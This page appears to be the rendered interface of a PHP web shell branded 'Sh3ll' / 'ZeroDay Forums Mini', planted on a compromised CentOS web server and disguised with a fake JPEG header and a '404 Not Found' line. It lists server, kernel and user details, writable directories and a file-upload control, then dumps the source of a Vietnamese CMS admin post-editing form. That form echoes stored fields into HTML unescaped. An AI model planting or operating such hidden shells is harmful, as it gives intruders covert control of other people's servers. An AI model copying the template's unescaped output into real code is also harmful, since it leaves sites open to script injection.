����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkeweb2/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/thietkeweb2/code/admin/posts/post_tpl.php
<div class="card">
   <div class="card-header">Cập nhật bài viết</div>
    <div class="card-body">
        <form action="?act=admin&code=posts&type=post" method="post" enctype="multipart/form-data">
            <input type="hidden" value="<?php echo $row_check['id'];?>" name="f[id]">
            <div class="form-body">
                <div class="row">
                    <div class="col-md-12">
                        <div class="h-auto bg-primary p-1 text-white rounded mb-2">Thuộc menu</div>
                        <?php showListMenus($arr_menus,0,'+',$arr_menu_check);?>
                    </div>
                </div>
                <div class="row mt-2">
                    <div class="col-md-12">
                        <div class="form-group">
                            <label class="control-label">Tên bài</label>
                            <input type="text" class="form-control" placeholder="" name="f[title]" value="<?php echo $row_check['title'];?>" required>
                        </div>
                    </div>

                        <div class="col-md-12 <?php echo $txt_form_en;?>">
                            <div class="form-group">
                                <label class="control-label">Tên bài Tiếng Anh</label>
                                <input type="text" class="form-control" name="f[etitle]" value="<?php echo $row_check['etitle'];?>">
                            </div>
                        </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Hình ảnh</label>
                            <input type="file" name="image_field" class="dropify" data-default-file="<?php echo $row_check['path_img'];?>" data-height="100" data-max-file-size="1M" data-show-remove="false">
                        </div>

                    </div>
                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Mô tả</label>
                            <textarea class="form-control" rows="3" name="f[intro]"><?php echo $row_check['intro'];?></textarea>
                        </div>
                    </div>

                    <div class="col-md-12 <?php echo $txt_form_en;?>">
                        <div class="form-group">
                                <label>Mô tả tiếng Anh</label>
                                <textarea class="form-control" rows="3" name="f[eintro]"><?php echo $row_check['eintro'];?></textarea>
                            </div>
                    </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Chi tiết</label>
                            <?php
                            echo $func->tinymce('f[body]','f_body',html_entity_decode($row_check['body']),10);
                            ?>
                        </div>
                    </div>
                    <div class="col-md-12 <?php echo $txt_form_en;?>">
                        <div class="form-group">
                            <label>Chi tiết tiếng Anh</label>
                            <?php
                            echo $func->tinymce('f[ebody]','f_ebody',html_entity_decode($row_check['ebody']),10);
                            ?>
                        </div>
                    </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Từ khóa (tags)</label>
                            <input type="text" class="form-control" name="tags" value="<?php echo $row_check['tags'];?>" required>
                        </div>
                    </div>
                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Vị trí</label>
                            <input type="text" class="form-control" name="f[pos]" value="<?php echo $row_check['pos'];?>" required>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <div class="col-md-6">
                        <div class="form-check">
                            <input type="checkbox" class="form-check-input" id="tin_noi_bat" name="f[noibat]" <?php if($row_check['noibat']==1){echo 'checked';}?>>
                            <label class="form-check-label" for="tin_noi_bat">Tin nổi bật</label>
                        </div>
                    </div>

                    <div class="col-md-6">
                        <div class="form-check">
                            <input type="checkbox" class="form-check-input" id="kich_hoat" name="f[status]" <?php if(intval($row_check['status'])==0){echo 'checked';}?>>
                            <label class="form-check-label" for="kich_hoat">Kích hoạt</label>
                        </div>
                    </div>
                </div>
            </div>
            <div class="form-actions mt-3">
                <button type="submit" class="btn btn-success" name="submitbt"> <i class="fa fa-check"></i> Save</button>
                <button type="button" class="btn btn-inverse" onclick="location.href='?act=admin&code=posts'">Cancel</button>
            </div>
        </form>

    </div>
</div>
<script>
    (function(){
        var input = document.querySelector('input[name=tags]');
        new Tagify(input)
    })()
</script>

ZeroDay Forums Mini